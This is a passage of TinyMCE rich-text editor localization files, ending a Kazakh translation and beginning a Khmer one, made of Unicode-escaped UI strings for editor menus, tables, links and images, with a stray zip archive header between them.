\u049b\u043e\u0441\u0443\u0434\u044b
\u049b\u0430\u043b\u0430\u0439\u0441\u044b\u0437 \u0431\u0430?",
"Paste or type a link":
"\u0421\u0456\u043b\u0442\u0435\u043c\u0435\u043d\u0456
\u049b\u043e\u0439\u044b\u04a3\u044b\u0437
\u043d\u0435\u043c\u0435\u0441\u0435
\u0442\u0435\u0440\u0456\u04a3\u0456\u0437",
"Target": "\u0410\u0448\u044b\u043b\u0430\u0442\u044b\u043d
\u0436\u0435\u0440\u0456",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "\u0421\u0456\u0437
\u0435\u04a3\u0433\u0456\u0437\u0456\u043f
\u0442\u04b1\u0440\u0493\u0430\u043d URL e-mail
\u0430\u0434\u0440\u0435\u0441\u0456 \u0431\u043e\u043b\u044b\u043f
\u0442\u0430\u0431\u044b\u043b\u0430\u0434\u044b.
\u0410\u043b\u0434\u044b\u043d\u0430 mailto:
\u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0456\u043d
\u049b\u043e\u0441\u0443\u0434\u044b
\u049b\u0430\u043b\u0430\u0439\u0441\u044b\u0437 \u0431\u0430?",
"Insert\/edit link":
"\u0421\u0456\u043b\u0442\u0435\u043c\u0435
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443\/\u0442\u04af\u0437\u0435\u0442\u0443",
"Insert\/edit video": "\u0412\u0438\u0434\u0435\u043e
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443\/\u0442\u04af\u0437\u0435\u0442\u0443",
"Media": "\u041c\u0435\u0434\u0438\u0430",
"Alternative source":
"\u049a\u043e\u0441\u044b\u043c\u0448\u0430
\u0430\u0434\u0440\u0435\u0441\u0456",
"Paste your embed code below:":
"\u0422\u04e9\u043c\u0435\u043d\u0434\u0435\u0433\u0456
\u043a\u043e\u0434\u0442\u044b \u043a\u04e9\u0448\u0456\u0440\u0456\u043f
\u0430\u043b\u044b\u043f,
\u049b\u043e\u0439\u044b\u04a3\u044b\u0437:",
"Insert video": "\u0412\u0438\u0434\u0435\u043e
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443",
"Poster": "\u041f\u043e\u0441\u0442\u0435\u0440\u0456",
"Insert\/edit media": "\u041c\u0435\u0434\u0438\u0430
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443\/\u0442\u04af\u0437\u0435\u0442\u0443",
"Embed": "\u0415\u043d\u0434\u0456\u0440\u0443",
"Nonbreaking space":
"\u04ae\u0437\u0434\u0456\u043a\u0441\u0456\u0437 \u0431\u043e\u0441
\u043e\u0440\u044b\u043d",
"Page break": "\u0411\u0435\u0442
\u04af\u0437\u0456\u043b\u0456\u043c\u0456",
"Paste as text": "\u041c\u04d9\u0442\u0456\u043d
\u0440\u0435\u0442\u0456\u043d\u0434\u0435 \u049b\u043e\u044e",
"Preview":
"\u0410\u043b\u0434\u044b\u043d-\u0430\u043b\u0430
\u049b\u0430\u0440\u0430\u0443",
"Print": "\u0411\u0430\u0441\u044b\u043f
\u0448\u044b\u0493\u0430\u0440\u0443",
"Save": "\u0421\u0430\u049b\u0442\u0430\u0443",
"Could not find the specified string.":
"\u041a\u04e9\u0440\u0441\u0435\u0442\u0456\u043b\u0433\u0435\u043d
\u0436\u043e\u043b
\u0442\u0430\u0431\u044b\u043b\u043c\u0430\u0434\u044b.",
"Replace":
"\u0410\u0443\u044b\u0441\u0442\u044b\u0440\u0443",
"Next": "\u041a\u0435\u043b\u0435\u0441\u0456",
"Whole words": "\u0422\u04b1\u0442\u0430\u0441
\u0441\u04e9\u0437\u0434\u0435\u0440",
"Find and replace": "\u0422\u0430\u0431\u0443
\u0436\u04d9\u043d\u0435
\u0430\u0443\u044b\u0441\u0442\u044b\u0440\u0443",
"Replace with":
"\u0410\u0443\u044b\u0441\u0442\u044b\u0440\u0430\u0442\u044b\u043d
\u043c\u04d9\u0442\u0456\u043d",
"Find":
"\u0422\u0430\u0431\u044b\u043b\u0430\u0442\u044b\u043d
\u043c\u04d9\u0442\u0456\u043d",
"Replace all":
"\u0411\u0430\u0440\u043b\u044b\u0493\u044b\u043d
\u0430\u0443\u044b\u0441\u0442\u044b\u0440\u0443",
"Match case":
"\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0434\u0456
\u0435\u0441\u043a\u0435\u0440\u0443",
"Prev": "\u0410\u043b\u0434\u044b\u04a3\u0493\u044b",
"Spellcheck": "\u0415\u043c\u043b\u0435
\u0442\u0435\u043a\u0441\u0435\u0440\u0443",
"Finish": "\u0410\u044f\u049b\u0442\u0430\u0443",
"Ignore all":
"\u0415\u0448\u049b\u0430\u0439\u0441\u044b\u0441\u044b\u043d
\u0435\u043b\u0435\u043c\u0435\u0443",
"Ignore": "\u0415\u043b\u0435\u043c\u0435\u0443",
"Add to Dictionary":
"\u0421\u04e9\u0437\u0434\u0456\u043a\u043a\u0435
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443",
"Insert row before": "\u04ae\u0441\u0442\u0456\u043d\u0435
\u0436\u043e\u043b \u049b\u043e\u0441\u0443",
"Rows": "\u0416\u043e\u043b\u044b",
"Height":
"\u0411\u0438\u0456\u043a\u0442\u0456\u0433\u0456",
"Paste row after": "\u0416\u043e\u043b\u0434\u044b\u04a3
\u0430\u0441\u0442\u044b\u043d\u0430 \u049b\u043e\u044e",
"Alignment":
"\u041e\u0440\u043d\u0430\u043b\u0430\u0441\u0443\u044b",
"Border color": "\u0416\u0438\u0435\u043a
\u0442\u04af\u0441\u0456",
"Column group": "\u0411\u0430\u0493\u0430\u043d
\u0442\u043e\u0431\u044b",
"Row": "\u0416\u043e\u043b",
"Insert column before":
"\u0410\u043b\u0434\u044b\u043d\u0430 \u0431\u0430\u0493\u0430\u043d
\u049b\u043e\u0441\u0443",
"Split cell": "\u04b0\u044f\u0448\u044b\u049b\u0442\u044b
\u0431\u04e9\u043b\u0443",
"Cell padding": "\u04b0\u044f\u0448\u044b\u049b
\u043a\u0435\u04a3\u0434\u0456\u0433\u0456",
"Cell spacing": "\u04b0\u044f\u0448\u044b\u049b
\u0430\u0440\u0430\u043b\u044b\u0493\u044b",
"Row type": "\u0416\u043e\u043b
\u0442\u0438\u043f\u0456",
"Insert table": "\u041a\u0435\u0441\u0442\u0435
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443",
"Body": "\u041d\u0435\u0433\u0456\u0437\u0433\u0456
\u0431\u04e9\u043b\u0456\u0433\u0456",
"Caption": "\u0410\u0442\u0430\u0443\u044b",
"Footer": "\u0410\u044f\u049b
\u0436\u0430\u0493\u044b",
"Delete row": "\u0416\u043e\u043b\u0434\u044b
\u0436\u043e\u044e",
"Paste row before": "\u0416\u043e\u043b\u0434\u044b\u04a3
\u04af\u0441\u0442\u0456\u043d\u0435 \u049b\u043e\u044e",
"Scope": "\u0410\u0443\u043c\u0430\u0493\u044b",
"Delete table": "\u041a\u0435\u0441\u0442\u0435\u043d\u0456
\u0436\u043e\u044e",
"H Align":
"\u041a\u04e9\u043b\u0434\u0435\u043d\u0435\u04a3\u043d\u0435\u043d
\u0442\u0443\u0440\u0430\u043b\u0430\u0443",
"Top": "\u04ae\u0441\u0442\u0456",
"Header cell":
"\u0422\u0430\u049b\u044b\u0440\u044b\u043f\u0448\u0430
\u04b1\u044f\u0448\u044b\u049b",
"Column": "\u0411\u0430\u0493\u0430\u043d",
"Row group": "\u0416\u043e\u043b
\u0442\u043e\u0431\u044b",
"Cell": "\u04b0\u044f\u0448\u044b\u049b",
"Middle": "\u041e\u0440\u0442\u0430\u0441\u044b",
"Cell type": "\u04b0\u044f\u0448\u044b\u049b
\u0442\u0438\u043f\u0456",
"Copy row": "\u0416\u043e\u043b\u0434\u044b
\u043a\u04e9\u0448\u0456\u0440\u0443",
"Row properties": "\u0416\u043e\u043b
\u0441\u0438\u043f\u0430\u0442\u0442\u0430\u0440\u044b",
"Table properties": "\u041a\u0435\u0441\u0442\u0435
\u0441\u0438\u043f\u0430\u0442\u0442\u0430\u0440\u044b",
"Bottom": "\u0410\u0441\u0442\u044b",
"V Align": "\u0422\u0456\u0433\u0456\u043d\u0435\u043d
\u0442\u0443\u0440\u0430\u043b\u0430\u0443",
"Header": "\u0411\u0430\u0441
\u0436\u0430\u0493\u044b",
"Right": "\u041e\u04a3\u0493\u0430",
"Insert column after": "\u0410\u0440\u0442\u044b\u043d\u0430
\u0431\u0430\u0493\u0430\u043d \u049b\u043e\u0441\u0443",
"Cols": "\u0411\u0430\u0493\u0430\u043d\u044b",
"Insert row after": "\u0410\u0441\u0442\u044b\u043d\u0430
\u0436\u043e\u043b \u049b\u043e\u0441\u0443",
"Width":
"\u04b0\u0437\u044b\u043d\u0434\u044b\u0493\u044b",
"Cell properties": "\u04b0\u044f\u0448\u044b\u049b
\u0441\u0438\u043f\u0430\u0442\u0442\u0430\u0440\u044b",
"Left": "\u0421\u043e\u043b\u0493\u0430",
"Cut row": "\u0416\u043e\u043b\u0434\u044b
\u049b\u0438\u044b\u043f \u0430\u043b\u0443",
"Delete column": "\u0411\u0430\u0493\u0430\u043d\u0434\u044b
\u0436\u043e\u044e",
"Center":
"\u041e\u0440\u0442\u0430\u0441\u044b\u043d\u0430",
"Merge cells":
"\u04b0\u044f\u0448\u044b\u049b\u0442\u0430\u0440\u0434\u044b
\u0431\u0456\u0440\u0456\u043a\u0442\u0456\u0440\u0443",
"Insert template": "\u04ae\u043b\u0433\u0456
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443",
"Templates":
"\u04ae\u043b\u0433\u0456\u043b\u0435\u0440",
"Background color": "\u04e8\u04a3\u0456\u043d\u0456\u04a3
\u0442\u04af\u0441\u0456",
"Custom...":
"\u04e8\u0437\u0433\u0435\u0440\u0442\u0443",
"Custom color": "\u0422\u04af\u0441
\u04e9\u0437\u0433\u0435\u0440\u0442\u0443",
"No color": "\u0422\u04af\u0441\u0441\u0456\u0437",
"Text color": "\u041c\u04d9\u0442\u0456\u043d
\u0442\u04af\u0441\u0456",
"Table of Contents":
"\u041c\u0430\u0437\u043c\u04b1\u043d\u0434\u0430\u0440
\u043a\u0435\u0441\u0442\u0435\u0441\u0456",
"Show blocks":
"\u0411\u043b\u043e\u043a\u0442\u0430\u0440\u0434\u044b
\u043a\u04e9\u0440\u0441\u0435\u0442\u0443",
"Show invisible characters":
"\u041a\u04e9\u0440\u0456\u043d\u0431\u0435\u0439\u0442\u0456\u043d
\u0442\u0430\u04a3\u0431\u0430\u043b\u0430\u0440\u0434\u044b
\u043a\u04e9\u0440\u0441\u0435\u0442\u0443",
"Words: {0}": "\u0421\u04e9\u0437 \u0441\u0430\u043d\u044b:
{0}",
"Insert":
"\u041a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0422\u04af\u0437\u0435\u0442\u0443",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u0424\u043e\u0440\u043c\u0430\u0442\u0442\u0430\u043b\u0493\u0430\u043d
\u043c\u04d9\u0442\u0456\u043d \u0430\u0443\u043c\u0430\u0493\u044b.
\u041c\u0435\u043d\u044e \u043a\u04e9\u0440\u0441\u0435\u0442\u0443
\u04af\u0448\u0456\u043d ALT-F9 \u0431\u0430\u0441\u044b\u04a3\u044b\u0437.
\u049a\u04b1\u0440\u0430\u043b\u0434\u0430\u0440
\u043f\u0430\u043d\u0435\u043b\u0456\u043d
\u043a\u04e9\u0440\u0441\u0435\u0442\u0443 \u04af\u0448\u0456\u043d ALT-F10
\u0431\u0430\u0441\u044b\u04a3\u044b\u0437. \u041a\u04e9\u043c\u0435\u043a
\u0430\u043b\u0443 \u04af\u0448\u0456\u043d ALT-0
\u0431\u0430\u0441\u044b\u04a3\u044b\u0437.",
"Tools":
"\u049a\u04b1\u0440\u0430\u043b\u0434\u0430\u0440",
"View": "\u041a\u04e9\u0440\u0456\u043d\u0456\u0441",
"Table": "\u041a\u0435\u0441\u0442\u0435",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442"
});PKR��[/=!	�S�Stinymce/langs/km.jsnu�[���tinymce.addI18n('km',{
"Cut": "\u1780\u17b6\u178f\u17cb",
"Heading 5": "\u1780\u17d2\u1794\u17b6\u179b 5",
"Header 2": "\u1780\u17d2\u1794\u17b6\u179b 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u1780\u1798\u17d2\u1798\u179c\u17b7\u1792\u17b8\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u200b\u179a\u1794\u179f\u17cb\u200b\u17a2\u17d2\u1793\u1780\u200b\u1798\u17b7\u1793\u200b\u17a2\u17b6\u1785\u200b\u1785\u17bc\u179b\u200b\u1795\u17d2\u1791\u17b6\u179b\u17cb\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17d2\u178a\u17b6\u179a\u200b\u178f\u1798\u17d2\u1794\u17c0\u178f\u200b\u1781\u17d2\u1791\u17b6\u179f\u17cb\u200b\u17a1\u17be\u1799\u17d4
\u179f\u17bc\u1798\u200b\u1794\u17d2\u179a\u17be Ctrl+X\/C\/V
\u179b\u17be\u200b\u1780\u17d2\u178a\u17b6\u179a\u200b\u1785\u17bb\u1785\u200b\u1787\u17c6\u1793\u17bd\u179f\u200b\u179c\u17b7\u1789\u17d4",
"Heading 4": "\u1780\u17d2\u1794\u17b6\u179b 4",
"Div": "Div",
"Heading 2": "\u1780\u17d2\u1794\u17b6\u179b 2",
"Paste":
"\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb",
"Close": "\u1794\u17b7\u1791",
"Font Family":
"\u1796\u17bb\u1798\u17d2\u1796\u200b\u17a2\u1780\u17d2\u179f\u179a",
"Pre": "Pre",
"Align right":
"\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1791\u17c5\u200b\u179f\u17d2\u178a\u17b6\u17c6",
"New document":
"\u17af\u1780\u179f\u17b6\u179a\u200b\u17a2\u178f\u17d2\u1790\u1794\u1791\u200b\u1790\u17d2\u1798\u17b8",
"Blockquote":
"\u1794\u17d2\u179b\u1780\u17cb\u200b\u1796\u17b6\u1780\u17d2\u1799\u200b\u179f\u1798\u17d2\u179a\u1784\u17cb",
"Numbered list":
"\u1794\u1789\u17d2\u1787\u17b8\u200b\u1787\u17b6\u200b\u179b\u17c1\u1781",
"Heading 1": "\u1780\u17d2\u1794\u17b6\u179b 1",
"Headings": "\u1780\u17d2\u1794\u17b6\u179b",
"Increase indent":
"\u1781\u17b7\u178f\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u1785\u17bc\u179b",
"Formats": "\u1791\u1798\u17d2\u179a\u1784\u17cb",
"Headers": "\u1780\u17d2\u1794\u17b6\u179b",
"Select all":
"\u1787\u17d2\u179a\u17be\u179f\u200b\u1791\u17b6\u17c6\u1784\u200b\u17a2\u179f\u17cb",
"Header 3": "\u1780\u17d2\u1794\u17b6\u179b 3",
"Blocks": "\u1794\u17d2\u179b\u1780\u17cb",
"Undo":
"\u1798\u17b7\u1793\u200b\u1792\u17d2\u179c\u17be\u200b\u179c\u17b7\u1789",
"Strikethrough":
"\u1782\u17bc\u179f\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u1780\u178e\u17d2\u178a\u17b6\u179b",
"Bullet list":
"\u1794\u1789\u17d2\u1787\u17b8\u200b\u1787\u17b6\u200b\u1785\u17c6\u178e\u17bb\u1785",
"Header 1": "\u1780\u17d2\u1794\u17b6\u179b 1",
"Superscript":
"\u17a2\u1780\u17d2\u179f\u179a\u200b\u178f\u17bc\u1785\u200b\u179b\u17be",
"Clear formatting":
"\u179f\u1798\u17d2\u17a2\u17b6\u178f\u200b\u1791\u1798\u17d2\u179a\u1784\u17cb",
"Font Sizes":
"\u1791\u17c6\u17a0\u17c6\u200b\u17a2\u1780\u17d2\u179f\u179a",
"Subscript":
"\u17a2\u1780\u17d2\u179f\u179a\u200b\u178f\u17bc\u1785\u200b\u1780\u17d2\u179a\u17c4\u1798",
"Header 6": "\u1780\u17d2\u1794\u17b6\u179b 6",
"Redo":
"\u1792\u17d2\u179c\u17be\u200b\u179c\u17b7\u1789",
"Paragraph":
"\u1780\u178b\u17b6\u1781\u178e\u17d2\u178c",
"Ok": "\u1796\u17d2\u179a\u1798",
"Bold": "\u178a\u17b7\u178f",
"Code": "\u1780\u17bc\u178a",
"Italic": "\u1791\u17d2\u179a\u17c1\u178f",
"Align center":
"\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1791\u17c5\u200b\u1780\u178e\u17d2\u178a\u17b6\u179b",
"Header 5": "\u1780\u17d2\u1794\u17b6\u179b 5",
"Heading 6": "\u1780\u17d2\u1794\u17b6\u179b 6",
"Heading 3": "\u1780\u17d2\u1794\u17b6\u179b 3",
"Decrease indent":
"\u1781\u17b7\u178f\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u1785\u17c1\u1789",
"Header 4": "\u1780\u17d2\u1794\u17b6\u179b 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u1780\u17b6\u179a\u200b\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1796\u17c1\u179b\u200b\u1793\u17c1\u17c7
\u179f\u17d2\u1790\u17b7\u178f\u200b\u1780\u17d2\u1793\u17bb\u1784\u200b\u1794\u17c2\u1794\u200b\u1795\u17c2\u1793\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u1792\u1798\u17d2\u1798\u178f\u17b6\u17d4
\u1794\u1785\u17d2\u1785\u17bb\u1794\u17d2\u1794\u1793\u17d2\u1793\u200b\u1793\u17c1\u17c7
\u1798\u17b6\u178f\u17b7\u1780\u17b6\u200b\u1791\u17b6\u17c6\u1784\u200b\u17a1\u17b6\u1799\u200b\u1793\u17b9\u1784\u200b\u178f\u17d2\u179a\u17bc\u179c\u200b\u1794\u17b6\u1793\u200b\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1787\u17b6\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u1792\u1798\u17d2\u1798\u178f\u17b6
\u179b\u17bb\u17c7\u178f\u17d2\u179a\u17b6\u200b\u178f\u17c2\u200b\u17a2\u17d2\u1793\u1780\u200b\u1794\u17b7\u1791\u200b\u1787\u1798\u17d2\u179a\u17be\u179f\u200b\u1793\u17c1\u17c7\u17d4",
"Underline":
"\u1782\u17bc\u179f\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u1796\u17b8\u200b\u1780\u17d2\u179a\u17c4\u1798",
"Cancel": "\u1794\u17c4\u17c7\u200b\u1794\u1784\u17cb",
"Justify":
"\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1796\u17c1\u1789",
"Inline":
"\u1780\u17d2\u1793\u17bb\u1784\u200b\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb",
"Copy": "\u1785\u1798\u17d2\u179b\u1784",
"Align left":
"\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1791\u17c5\u200b\u1786\u17d2\u179c\u17c1\u1784",
"Visual aids":
"\u1791\u17b7\u178a\u17d2\u178b\u1797\u17b6\u1796\u200b\u1787\u17c6\u1793\u17bd\u1799",
"Lower Greek":
"\u179b\u17c1\u1781\u200b\u1780\u17d2\u179a\u17b7\u1780\u200b\u178f\u17bc\u1785",
"Square": "\u1787\u17d2\u179a\u17bb\u1784",
"Default":
"\u179b\u17c6\u1793\u17b6\u17c6\u200b\u178a\u17be\u1798",
"Lower Alpha":
"\u17a2\u1780\u17d2\u179f\u179a\u200b\u178f\u17bc\u1785",
"Circle": "\u1798\u17bc\u179b",
"Disc": "\u1790\u17b6\u179f",
"Upper Alpha":
"\u17a2\u1780\u17d2\u179f\u179a\u200b\u1792\u17c6",
"Upper Roman":
"\u179b\u17c1\u1781\u200b\u179a\u17c9\u17bc\u1798\u17c9\u17b6\u17c6\u1784\u200b\u1792\u17c6",
"Lower Roman":
"\u179b\u17c1\u1781\u200b\u179a\u17c9\u17bc\u1798\u17c9\u17b6\u17c6\u1784\u200b\u178f\u17bc\u1785",
"Name": "\u1788\u17d2\u1798\u17c4\u17c7",
"Anchor": "\u1799\u17bb\u1790\u17d2\u1780\u17b6",
"You have unsaved changes are you sure you want to navigate
away?":
"\u1798\u17b6\u1793\u200b\u1794\u1793\u17d2\u179b\u17b6\u179f\u17cb\u200b\u1794\u17d2\u178a\u17bc\u179a\u200b\u1798\u17b7\u1793\u200b\u1791\u17b6\u1793\u17cb\u200b\u1794\u17b6\u1793\u200b\u179a\u1780\u17d2\u179f\u17b6\u200b\u1791\u17bb\u1780\u17d4
\u178f\u17be\u200b\u17a2\u17d2\u1793\u1780\u200b\u1796\u17b7\u178f\u200b\u1787\u17b6\u200b\u1785\u1784\u17cb\u200b\u1785\u17b6\u1780\u200b\u1785\u17c1\u1789\u200b\u1796\u17b8\u1791\u17b8\u1793\u17c1\u17c7\u200b\u1798\u17c2\u1793\u1791\u17c1?",
"Restore last draft":
"\u179f\u17d2\u178a\u17b6\u179a\u200b\u179f\u17c1\u1785\u1780\u17d2\u178a\u17b8\u200b\u1796\u17d2\u179a\u17b6\u1784\u200b\u1796\u17b8\u200b\u1798\u17bb\u1793",
"Special character":
"\u178f\u17bd\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u1796\u17b7\u179f\u17c1\u179f",
"Source code":
"\u17a2\u1780\u17d2\u179f\u179a\u200b\u1780\u17bc\u178a",
"B": "B",
"R": "R",
"G": "G",
"Color": "\u1796\u178e\u17cc",
"Right to left":
"\u179f\u17d2\u178a\u17b6\u17c6\u200b\u1791\u17c5\u200b\u1786\u17d2\u179c\u17c1\u1784",
"Left to right":
"\u1786\u17d2\u179c\u17c1\u1784\u200b\u1791\u17c5\u200b\u179f\u17d2\u178a\u17b6\u17c6",
"Emoticons":
"\u179a\u17bc\u1794\u200b\u179f\u1789\u17d2\u1789\u17b6\u178e\u200b\u17a2\u17b6\u179a\u1798\u17d2\u1798\u178e\u17cd",
"Robots": "\u179a\u17bc\u1794\u1799\u1793\u17d2\u178f",
"Document properties":
"\u179b\u1780\u17d2\u1781\u178e\u17c8\u200b\u179f\u1798\u17d2\u1794\u178f\u17d2\u178f\u17b7\u200b\u17af\u1780\u179f\u17b6\u179a",
"Title":
"\u1785\u17c6\u178e\u1784\u200b\u1787\u17be\u1784",
"Keywords":
"\u1796\u17b6\u1780\u17d2\u1799\u200b\u1782\u1793\u17d2\u179b\u17b9\u17c7",
"Encoding":
"\u1780\u17b6\u179a\u200b\u17a2\u17ca\u17b8\u1793\u1780\u17bc\u178a",
"Description":
"\u179f\u17c1\u1785\u1780\u17d2\u178a\u17b8\u200b\u17a2\u1792\u17b7\u1794\u17d2\u1794\u17b6\u1799",
"Author":
"\u17a2\u17d2\u1793\u1780\u200b\u1793\u17b7\u1796\u1793\u17d2\u1792",
"Fullscreen":
"\u1796\u17c1\u1789\u200b\u17a2\u17c1\u1780\u17d2\u179a\u1784\u17cb",
"Horizontal line":
"\u1794\u1793\u17d2\u1791\u17b6\u178f\u17cb\u200b\u178a\u17c1\u1780",
"Horizontal space":
"\u179b\u17c6\u17a0\u200b\u1795\u17d2\u178a\u17c1\u1780",
"Insert\/edit image":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\/\u1780\u17c2
\u179a\u17bc\u1794\u200b\u1797\u17b6\u1796",
"General": "\u1791\u17bc\u1791\u17c5",
"Advanced":
"\u1780\u1798\u17d2\u179a\u17b7\u178f\u200b\u1781\u17d2\u1796\u179f\u17cb",
"Source": "\u1794\u17d2\u179a\u1797\u1796",
"Border": "\u179f\u17ca\u17bb\u1798",
"Constrain proportions": "
\u1794\u1784\u17d2\u1781\u17c6\u200b\u17b2\u17d2\u1799\u200b\u1798\u17b6\u1793\u200b\u179f\u1798\u17b6\u1798\u17b6\u178f\u17d2\u179a",
"Vertical space":
"\u179b\u17c6\u17a0\u200b\u1794\u1789\u17d2\u1788\u179a",
"Image description":
"\u179f\u17c1\u1785\u1780\u17d2\u178a\u17b8\u200b\u17a2\u1792\u17b7\u1794\u17d2\u1794\u17b6\u1799\u200b\u1796\u17b8\u200b\u179a\u17bc\u1794",
"Style": "\u179a\u1785\u1793\u17b6\u1794\u1790",
"Dimensions":
"\u179c\u17b7\u1798\u17b6\u178f\u17d2\u179a",
"Insert image":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u179a\u17bc\u1794\u200b\u1797\u17b6\u1796",
"Zoom in": "\u1796\u1784\u17d2\u179a\u17b8\u1780",
"Contrast":
"\u1780\u1798\u17d2\u179a\u17b7\u178f\u200b\u1796\u178e\u17cc",
"Back": "\u1790\u1799\u1780\u17d2\u179a\u17c4\u1799",
"Gamma": "\u17a0\u17d2\u1782\u17b6\u1798\u17c9\u17b6",
"Flip horizontally":
"\u178f\u17d2\u179a\u17a1\u1794\u17cb\u200b\u1795\u17d2\u178a\u17c1\u1780",
"Resize":
"\u1794\u17d2\u178a\u17bc\u179a\u200b\u1791\u17c6\u17a0\u17c6",
"Sharpen": "\u1785\u17d2\u1794\u17b6\u179f\u17cb",
"Zoom out": "\u1794\u1784\u17d2\u179a\u17bd\u1798",
"Image options":
"\u1787\u1798\u17d2\u179a\u17be\u179f\u200b\u179a\u17bc\u1794\u1797\u17b6\u1796",
"Apply": "\u17a2\u1793\u17bb\u179c\u178f\u17d2\u178f",
"Brightness": "\u1796\u1793\u17d2\u179b\u17ba",
"Rotate clockwise":
"\u1794\u1784\u17d2\u179c\u17b7\u179b\u200b\u179f\u17d2\u179a\u1794\u200b\u1791\u17d2\u179a\u1793\u17b7\u1785\u200b\u1793\u17b6\u17a1\u17b7\u1780\u17b6",
"Rotate counterclockwise":
"\u1794\u1784\u17d2\u179c\u17b7\u179b\u200b\u1785\u17d2\u179a\u17b6\u179f\u200b\u1791\u17d2\u179a\u1793\u17b7\u1785\u200b\u1793\u17b6\u17a1\u17b7\u1780\u17b6",
"Edit image":
"\u1780\u17c2\u179f\u1798\u17d2\u179a\u17bd\u179b\u200b\u179a\u17bc\u1794\u1797\u17b6\u1796",
"Color levels":
"\u1780\u1798\u17d2\u179a\u17b7\u178f\u200b\u1796\u178e\u17cc",
"Crop": "\u1785\u17d2\u179a\u17b9\u1794",
"Orientation": "\u1791\u17b7\u179f",
"Flip vertically":
"\u178f\u17d2\u179a\u17a1\u1794\u17cb\u200b\u1794\u1789\u17d2\u1788\u179a",
"Invert":
"\u178a\u17b6\u1780\u17cb\u200b\u1794\u1789\u17d2\u1785\u17d2\u179a\u17b6\u179f",
"Insert date\/time":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1780\u17b6\u179b\u200b\u1794\u179a\u17b7\u1785\u17d2\u1786\u17c1\u1791\/\u1798\u17c9\u17c4\u1784",
"Remove link":
"\u178a\u1780\u200b\u178f\u17c6\u178e\u200b\u1785\u17c1\u1789",
"Url": "Url",
"Text to display":
"\u17a2\u1780\u17d2\u179f\u179a\u200b\u178f\u17d2\u179a\u17bc\u179c\u200b\u1794\u1784\u17d2\u17a0\u17b6\u1789",
"Anchors": "\u1799\u17bb\u1790\u17d2\u1780\u17b6",
"Insert link":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u178f\u17c6\u178e",
"New window":
"\u1795\u17d2\u1791\u17b6\u17c6\u1784\u200b\u179c\u17b8\u1793\u178a\u17bc\u200b\u1790\u17d2\u1798\u17b8",
"None": "\u1798\u17b7\u1793\u200b\u1798\u17b6\u1793",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?":
"\u17a2\u17d2\u1793\u1780\u200b\u1794\u17b6\u1793\u200b\u1794\u1789\u17d2\u1785\u17bc\u179b
URL
\u178a\u17c2\u179b\u200b\u1787\u17b6\u200b\u178f\u17c6\u178e\u200b\u1791\u17c5\u200b\u1781\u17b6\u1784\u200b\u1780\u17d2\u179a\u17c5\u17d4
\u178f\u17be\u200b\u17a2\u17d2\u1793\u1780\u200b\u1785\u1784\u17cb\u200b\u1794\u1793\u17d2\u1790\u17c2\u1798\u200b\u1794\u17bb\u1796\u17d2\u179c\u1794\u200b\u1791
http:\/\/ \u178a\u17c2\u179a\u200b\u17ac\u1791\u17c1?",
"Target": "\u1791\u17b7\u179f\u178a\u17c5",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?":
"\u17a2\u17d2\u1793\u1780\u200b\u1794\u17b6\u1793\u200b\u1794\u1789\u17d2\u1785\u17bc\u179b
URL
\u178a\u17c2\u179b\u200b\u1798\u17b6\u1793\u200b\u179f\u178e\u17d2\u178b\u17b6\u1793\u200b\u178a\u17bc\u1785\u200b\u17a2\u17b6\u179f\u1799\u178a\u17d2\u178b\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1798\u17c2\u179b\u17d4
\u178f\u17be\u200b\u17a2\u17d2\u1793\u1780\u200b\u1785\u1784\u17cb\u200b\u1794\u1793\u17d2\u1790\u17c2\u1798\u200b\u1794\u17bb\u1796\u17d2\u179c\u1794\u200b\u1791
mailto: \u178a\u17c2\u179a\u200b\u17ac\u1791\u17c1?",
"Insert\/edit link":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\/\u1780\u17c2
\u178f\u17c6\u178e",
"Insert\/edit video":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\/\u1780\u17c2
